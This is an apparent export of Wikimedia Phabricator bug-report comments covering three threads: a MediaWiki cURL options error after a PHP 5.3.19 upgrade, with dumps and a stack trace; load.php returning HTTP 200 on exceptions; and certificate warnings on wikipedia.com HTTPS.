+	[84]=> int(1) // CURLOPT_HTTP_VERSION = CURL_HTTP_VERSION_1_0;
+	[20011]=> array(2) { // CURLOPT_WRITEFUNCTION = CurlHttpRequest::read
+		[0]=> object(CurlHttpRequest)#488 (24) {
+			[""curlOptions"":protected]=> *RECURSION*
+			[""headerText"":protected]=> string(0) """"
+			[""content"":protected]=> string(0) """"
+			[""timeout"":protected]=> int(25)
+			[""headersOnly"":protected]=> NULL
+			[""postData"":protected]=> NULL
+			[""proxy"":protected]=> NULL
+			[""noProxy"":protected]=> bool(false)
+			[""sslVerifyHost"":protected]=> bool(true)
+			[""sslVerifyCert"":protected]=> bool(true)
+			[""caInfo"":protected]=> NULL
+			[""method"":protected]=> string(3) ""GET""
+			[""reqHeaders"":protected]=> array(2) {
+				[""Referer""]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization""
+				[""User-Agent""]=> string(16) ""MediaWiki/1.20.0"" 
+			}
+			[""url"":protected]=> string(79) ""http://maps.googleapis.com/maps/api/geocode/xml?address=%2C++Breda&sensor=false""
+			[""parsedUrl"":protected]=> array(5) {
+				[""scheme""]=> string(4) ""http""
+				[""host""]=> string(19) ""maps.googleapis.com""
+				[""path""]=> string(21) ""/maps/api/geocode/xml""
+				[""query""]=> string(31) ""address=%2C++Breda&sensor=false""
+				[""delimiter""]=> string(3) ""://"" 
+			}
+			[""callback"":protected]=> *RECURSION*
+			[""maxRedirects"":protected]=> int(5)
+			[""followRedirects"":protected]=> bool(false)
+			[""cookieJar"":protected]=> NULL
+			[""headerList"":protected]=> array(0) { }
+			[""respVersion"":protected]=> string(3) ""0.9""
+			[""respStatus"":protected]=> string(6) ""200 Ok""
+			[""respHeaders"":protected]=> array(0) { }
+			[""status""]=> object(Status)#487 (7) {
+				[""ok""]=> bool(true)
+				[""value""]=> int(100)
+				[""successCount""]=> int(0)
+				[""failCount""]=> int(0)
+				[""success""]=> array(0) { }
+				[""errors""]=> array(0) { }
+				[""cleanCallback""]=> bool(false)
+			}
+		}
+		[1]=> string(4) ""read"" 
+	}
+	[20079]=> array(2) { // CURLOPT_HEADERFUNCTION = CurlHttpRequest::readHeader
+		[0]=> object(CurlHttpRequest)#488 (24) {
+			[""curlOptions"":protected]=> *RECURSION*
+			[""headerText"":protected]=> string(0) """"
+			[""content"":protected]=> string(0) """"
+			[""timeout"":protected]=> int(25)
+			[""headersOnly"":protected]=> NULL
+			[""postData"":protected]=> NULL
+			[""proxy"":protected]=> NULL
+			[""noProxy"":protected]=> bool(false)
+			[""sslVerifyHost"":protected]=> bool(true)
+			[""sslVerifyCert"":protected]=> bool(true)
+			[""caInfo"":protected]=> NULL
+			[""method"":protected]=> string(3) ""GET""
+			[""reqHeaders"":protected]=> array(2) {
+				[""Referer""]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization""
+				[""User-Agent""]=> string(16) ""MediaWiki/1.20.0""
+			}
+			[""url"":protected]=> string(79) ""http://maps.googleapis.com/maps/api/geocode/xml?address=%2C++Breda&sensor=false""
+			[""parsedUrl"":protected]=> array(5) {
+				[""scheme""]=> string(4) ""http""
+				[""host""]=> string(19) ""maps.googleapis.com""
+				[""path""]=> string(21) ""/maps/api/geocode/xml""
+				[""query""]=> string(31) ""address=%2C++Breda&sensor=false""
+				[""delimiter""]=> string(3) ""://"" 
+			}
+			[""callback"":protected]=> array(2) {
+				[0]=> *RECURSION*
+				[1]=> string(4) ""read""
+			}
+			[""maxRedirects"":protected]=> int(5)
+			[""followRedirects"":protected]=> bool(false)
+			[""cookieJar"":protected]=> NULL
+			[""headerList"":protected]=> array(0) { }
+			[""respVersion"":protected]=> string(3) ""0.9""
+			[""respStatus"":protected]=> string(6) ""200 Ok""
+			[""respHeaders"":protected]=> array(0) { }
+				[""status""]=> object(Status)#487 (7) {
+					[""ok""]=> bool(true)
+					[""value""]=> int(100)
+					[""successCount""]=> int(0)
+					[""failCount""]=> int(0)
+					[""success""]=> array(0) { }
+					[""errors""]=> array(0) { }
+					[""cleanCallback""]=> bool(false)
+				}
+			}
+		[1]=> string(10) ""readHeader"" 
+	}
+	[68]=> int(5) // CURLOPT_MAXREDIRS = 5
+	[10102]=> string(0) """" // CURLOPT_ENCODING
+	[10016]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization"" // CURLOPT_REFERER
+	[10018]=> string(16) ""MediaWiki/1.20.0"" // CURLOPT_USERAGENT
+	[81]=> bool(true) // CURLOPT_SSL_VERIFYHOST = true
+	[64]=> bool(true) // CURLOPT_SSL_VERIFYPEER = true
+	[10036]=> string(3) ""GET"" // CURLOPT_CUSTOMREQUEST = ""GET""
+	[10023]=> array(2) { // CURLOPT_HTTPHEADER
+		[0]=> string(63) ""Referer: http://wow.wikibase.nl/index.php/Template:Organization""
+		[1]=> string(28) ""User-Agent: MediaWiki/1.20.0""
+	}
+}",,,1354470131,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+192893,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"I did as you suggested. The dump looks impressive to me!
+
+
+array(13) { [10004]=> NULL [13]=> int(25) [84]=> int(1) [20011]=> array(2) { [0]=> object(CurlHttpRequest)#488 (24) { [""curlOptions"":protected]=> *RECURSION* [""headerText"":protected]=> string(0) """" [""content"":protected]=> string(0) """" [""timeout"":protected]=> int(25) [""headersOnly"":protected]=> NULL [""postData"":protected]=> NULL [""proxy"":protected]=> NULL [""noProxy"":protected]=> bool(false) [""sslVerifyHost"":protected]=> bool(true) [""sslVerifyCert"":protected]=> bool(true) [""caInfo"":protected]=> NULL [""method"":protected]=> string(3) ""GET"" [""reqHeaders"":protected]=> array(2) { [""Referer""]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization"" [""User-Agent""]=> string(16) ""MediaWiki/1.20.0"" } [""url"":protected]=> string(79) ""http://maps.googleapis.com/maps/api/geocode/xml?address=%2C++Breda&sensor=false"" [""parsedUrl"":protected]=> array(5) { [""scheme""]=> string(4) ""http"" [""host""]=> string(19) ""maps.googleapis.com"" [""path""]=> string(21) ""/maps/api/geocode/xml"" [""query""]=> string(31) ""address=%2C++Breda&sensor=false"" [""delimiter""]=> string(3) ""://"" } [""callback"":protected]=> *RECURSION* [""maxRedirects"":protected]=> int(5) [""followRedirects"":protected]=> bool(false) [""cookieJar"":protected]=> NULL [""headerList"":protected]=> array(0) { } [""respVersion"":protected]=> string(3) ""0.9"" [""respStatus"":protected]=> string(6) ""200 Ok"" [""respHeaders"":protected]=> array(0) { } [""status""]=> object(Status)#487 (7) { [""ok""]=> bool(true) [""value""]=> int(100) [""successCount""]=> int(0) [""failCount""]=> int(0) [""success""]=> array(0) { } [""errors""]=> array(0) { } [""cleanCallback""]=> bool(false) } } [1]=> string(4) ""read"" } [20079]=> array(2) { [0]=> object(CurlHttpRequest)#488 (24) { [""curlOptions"":protected]=> *RECURSION* [""headerText"":protected]=> string(0) """" [""content"":protected]=> string(0) """" [""timeout"":protected]=> int(25) [""headersOnly"":protected]=> NULL [""postData"":protected]=> NULL [""proxy"":protected]=> NULL [""noProxy"":protected]=> bool(false) [""sslVerifyHost"":protected]=> bool(true) [""sslVerifyCert"":protected]=> bool(true) [""caInfo"":protected]=> NULL [""method"":protected]=> string(3) ""GET"" [""reqHeaders"":protected]=> array(2) { [""Referer""]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization"" [""User-Agent""]=> string(16) ""MediaWiki/1.20.0"" } [""url"":protected]=> string(79) ""http://maps.googleapis.com/maps/api/geocode/xml?address=%2C++Breda&sensor=false"" [""parsedUrl"":protected]=> array(5) { [""scheme""]=> string(4) ""http"" [""host""]=> string(19) ""maps.googleapis.com"" [""path""]=> string(21) ""/maps/api/geocode/xml"" [""query""]=> string(31) ""address=%2C++Breda&sensor=false"" [""delimiter""]=> string(3) ""://"" } [""callback"":protected]=> array(2) { [0]=> *RECURSION* [1]=> string(4) ""read"" } [""maxRedirects"":protected]=> int(5) [""followRedirects"":protected]=> bool(false) [""cookieJar"":protected]=> NULL [""headerList"":protected]=> array(0) { } [""respVersion"":protected]=> string(3) ""0.9"" [""respStatus"":protected]=> string(6) ""200 Ok"" [""respHeaders"":protected]=> array(0) { } [""status""]=> object(Status)#487 (7) { [""ok""]=> bool(true) [""value""]=> int(100) [""successCount""]=> int(0) [""failCount""]=> int(0) [""success""]=> array(0) { } [""errors""]=> array(0) { } [""cleanCallback""]=> bool(false) } } [1]=> string(10) ""readHeader"" } [68]=> int(5) [10102]=> string(0) """" [10016]=> string(54) ""http://wow.wikibase.nl/index.php/Template:Organization"" [10018]=> string(16) ""MediaWiki/1.20.0"" [81]=> bool(true) [64]=> bool(true) [10036]=> string(3) ""GET"" [10023]=> array(2) { [0]=> string(63) ""Referer: http://wow.wikibase.nl/index.php/Template:Organization"" [1]=> string(28) ""User-Agent: MediaWiki/1.20.0"" } }",,,1354300820,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,0,1
+192890,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"It should have appeared in the php error log :S
+
+Can you add var_dump( $this->curlOptions ); above this line?
+	if ( !curl_setopt_array( $curlHandle, $this->curlOptions ) ) {
+
+around line 761 of HttpFunctions.php.
+This shouls at least give us which options it is trying to set.",,,1354227174,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,1,0
+192887,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"Hi, I have upgraded to:
+MW 1.20, SMW 1.8 rc1, SRF 1.8rc2, Semantic Maps 2.0
+
+and the problem still remains. 
+
+From the php options above it seems clear that cURL is supported. What can I do to help researching on this problem?",,,1354186625,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+192883,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"I'm sorry but I don't see anything about this error in the error console. Did find the cURL:
+
+cURL support	enabled
+cURL Information	7.28.1
+Age	3
+Features
+AsynchDNS	No
+Debug	No
+GSS-Negotiate	No
+IDN	No
+IPv6	Yes
+Largefile	Yes
+NTLM	Yes
+SPNEGO	No
+SSL	Yes
+SSPI	No
+krb4	No
+libz	Yes
+CharConv	No
+Protocols	dict, file, ftp, ftps, gopher, http, https, imap, imaps, pop3, pop3s, rtsp, smtp, smtps, telnet, tftp
+Host	x86_64-unknown-linux-gnu
+SSL Version	OpenSSL/0.9.8o
+ZLib Version	1.2.3",,,1353966571,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-40,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+192877,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"That means that curl_setopt_array() failed, which could be due to any of the up to 18 options we set in that call.
+
+I don't see we use any option added in PHP > 5.3.19 http://www.php.net/manual/en/function.curl-setopt.php
+
+Moreover, it doesn't make sense that upgrading to a newer version of php broke it. There was likely some configuration change as well, which is bitting you.
+
+Can you see the error log for when you got the error?
+It should have generated a notice telling about the option which failed.",,,1353963359,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-40,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,0
+192871,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"(In reply to comment #4)
+> As I said my hosting provider upgraded to php 5.3.19 and I cannot answer your
+> question about cURL support. I will ask them about it.
+
+Create a .php file with ""<?php phpinfo();"", go to it in your browser and try to find the cURL section.",,,1353962802,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-40,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,0,0,1
+192863,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"I got a page called 'Internal error' with text:
+'Error setting curl options.' and the backtrace above.
+
+As I said my hosting provider upgraded to php 5.3.19 and I cannot answer your question about cURL support. I will ask them about it.",,,1353962618,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-40,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,1,1,0,0,0
+192855,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"What was the error you got? (just before the stack trace)
+Are you absolutely sure PHP cURL support is enabled?",,,1353961341,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-40,True,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0
+192846,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),"#0 /home/wow/domains/wow.wikibase.nl/public_html/includes/HttpFunctions.php(68): CurlHttpRequest->execute()
+#1 /home/wow/domains/wow.wikibase.nl/public_html/includes/HttpFunctions.php(88): Http::request('GET', 'http://maps.goo...', Array)
+#2 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoder.php(111): Http::get('http://maps.goo...')
+#3 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoders.php(205): MapsGeocoder->geocode('Anthony Fokkers...')
+#4 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoders.php(127): MapsGeocoders::geocode('Anthony Fokkers...', 'google', 'googlemaps3')
+#5 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/Maps_Geocoders.php(144): MapsGeocoders::attemptToGeocode('Anthony Fokkers...', 'google', 'googlemaps3')
+#6 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Maps/includes/criteria/CriterionIsLocation.php(55): MapsGeocoders::isLocation('Anthony Fokkers...', 'google', 'googlemaps3')
+#7 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ItemParameterCriterion.php(75): CriterionIsLocation->doValidation('Anthony Fokkers...', Object(ListParameter), Array)
+#8 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Parameter.php(424): ItemParameterCriterion->validate(Object(ListParameter), Array)
+#9 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Parameter.php(399): Parameter->validateCriteria(Array)
+#10 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ListParameter.php(137): Parameter->doValidation(Array)
+#11 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Validator.php(291): ListParameter->validate(Array)
+#12 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/Validator.php(253): Validator->doParamProcessing()
+#13 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(372): Validator->validateParameters()
+#14 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(295): ParserHook->validateAndRender(Array, 1)
+#15 [internal function]: ParserHook->renderFunction(Object(Parser), 'Anthony Fokkers...', 'service=googlem...', 'geoservice=goog...', 'height=200', 'controls=zoom')
+#16 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(337): call_user_func_array(Array, Array)
+#17 /home/wow/domains/wow.wikibase.nl/public_html/extensions/Validator/includes/ParserHook.php(636): ParserHook->renderFunctionObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
+#18 [internal function]: ParserHookCaller->runFunctionHookObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
+#19 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(3250): call_user_func_array(Array, Array)
+#20 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Preprocessor_DOM.php(1083): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
+#21 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(3416): PPFrame_DOM->expand(Object(PPNode_DOM))
+#22 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Preprocessor_DOM.php(1083): Parser->braceSubstitution(Array, Object(PPFrame_DOM))
+#23 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(3038): PPFrame_DOM->expand(Object(PPNode_DOM), 0)
+#24 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(1136): Parser->replaceVariables('{{Organization?...')
+#25 /home/wow/domains/wow.wikibase.nl/public_html/includes/parser/Parser.php(370): Parser->internalParse('{{Organization?...')
+#26 /home/wow/domains/wow.wikibase.nl/public_html/includes/job/RefreshLinksJob.php(78): Parser->parse('{{Organization?...', Object(Title), Object(ParserOptions), true, true, 4481)
+#27 /home/wow/domains/wow.wikibase.nl/public_html/includes/job/RefreshLinksJob.php(66): RefreshLinksJob::runForTitleInternal(Object(Title), Object(Revision), 'RefreshLinksJob...')
+#28 /home/wow/domains/wow.wikibase.nl/public_html/includes/Wiki.php(594): RefreshLinksJob->run()
+#29 /home/wow/domains/wow.wikibase.nl/public_html/includes/Wiki.php(556): MediaWiki->doJobs()
+#30 /home/wow/domains/wow.wikibase.nl/public_html/includes/Wiki.php(447): MediaWiki->restInPeace()
+#31 /home/wow/domains/wow.wikibase.nl/public_html/index.php(59): MediaWiki->run()
+#32 {main}",,,1353936410,,PHID-USER-7rnv65bazcfyfktglds5,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,False,,,-40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1
+192838,HttpFunctions.php not compatible with Php 5.3.19? (bug setting sslVerifyHost => true),Can you please provide the full stack trace?,,,1353936229,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-tuqyxtv7tsitqiypigmg,task_subcomment,,True,c2,1,True,,,-40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+44166,load.php should return HTTP 500 if one or more exceptions were thrown during the generation of the module response(s),"So, we had the following incident a few moments ago:
+An Apache on the fleet was misconfigured, with wrong permissions in at least /wmf-config/.
+
+Random bits hits for some CSS (e.g. for it.wp) ended up on this Apache, which returned a page full of CSS comments with DBConnectionError ('DB connection error: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) (localhost)' in /usr/local/apache/common-local/php-1.21wmf3/includes/db/Database.php:797), since no configuration, database or otherwise, was readable or defined.
+
+The problem is that this CSS full of exceptions and no actual content was returned with a 200 status code and subsequently cached in Squid and Varnish. Fortunately the TTL for those is short, and the site recovered quickly.
+
+Could you please adjust it so that 500s are raised on such cases?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1353016260,1362548319.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,False,PHID-TASK-vb45o5lq3c4v2zlk7dsf,task_description,resolved,True,c2,1,True,False,True,-41,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,1,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+202569,load.php should return HTTP 500 if one or more exceptions were thrown during the generation of the module response(s),"
+
+*** This bug has been marked as a duplicate of bug 33917 ***",,,1362548319,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vb45o5lq3c4v2zlk7dsf,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+42998,https://wikipedia.com and similar throw certificate warning,"From bug 34788 comment #8:
+> On a related note, if you go to .com addresses (like https://en.wikipedia.com/)
+> using HTTPS protocol, before you get forwarded to the .org address, you will
+> get an error message regarding the SSL key. That is because the .com addresses
+> use the SSL key that is for *.wikipedia.org
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://en.wikipedia.com",Low,25.0,1350100740,1475504514.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-boev7byafz4tjdafsotq,task_description,duplicate,True,c2,1,True,False,False,-46,True,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+475006,https://wikipedia.com and similar throw certificate warning,"This is one (particularly prominent) aspect of a the broader scope problem with having way too many mostly-useless domains over here: https://phabricator.wikimedia.org/T101048 .  We have a ton of domains that get very little traffic and it's much more an issue with TLS as we don't want to encourage/allow linking insecure redirects, and we don't want to buy and manage 140+ TLS certs either.",,,1434400724,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,3,True,,,93,True,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+183135,https://wikipedia.com and similar throw certificate warning,"(In reply to Tim Starling from comment #6)
+
++1",,,1409643904,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,3,False,,,52,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+183130,https://wikipedia.com and similar throw certificate warning,"We could have those hosts go to a separate set of public IPs, and then refuse connections on port 443.",,,1400131560,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,3,False,,,37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+183126,https://wikipedia.com and similar throw certificate warning,"From a technical point of view, I read a best practice could be not to add too much DNS domains in one certificate because it adds these some bits of certificate description to all clients. For *.com and *.net domains it could be worth issuing them in a distinct certificate, if any.
+
+Personally I’m not convinced it is worth adding TLS on *.com or *.net since it is no more the canonical extension. And if stats are not soon available, I find it would be better to deactivate the TLS on these domains because certificate errors participate in lowering the global security by accustoming users to false positives (and this bug is currently really an error because signed and used domains mismatch, not just a self-signed certificate).",,,1396598225,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,3,False,,,31,True,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,0
+183123,https://wikipedia.com and similar throw certificate warning,*** Bug 61228 has been marked as a duplicate of this bug. ***,,,1393239088,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,3,True,,,25,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+183117,https://wikipedia.com and similar throw certificate warning,"Just a matter of $$$. Do we want to pay for this? As already mentioned, needs data/analytics to make an informed decision if it's worth it to get more wildcard certs.",,,1376047950,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,1,0,0
